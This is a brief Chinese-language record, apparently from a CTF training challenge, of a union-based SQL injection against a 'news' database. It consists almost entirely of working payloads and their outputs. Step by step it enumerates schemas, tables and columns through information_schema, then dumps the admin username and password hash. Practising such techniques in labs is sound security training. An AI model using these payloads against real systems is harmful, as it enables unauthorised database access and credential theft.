暴库:(information_schema,ctftraining,mysql,performance_schema,test,news) ?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
暴表:(admin,contents) ?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="news"
暴字段:(id,username,password) ?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="admin"
暴密码:(d0bf08276910ee0b09cdc8baf32cd748) ?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin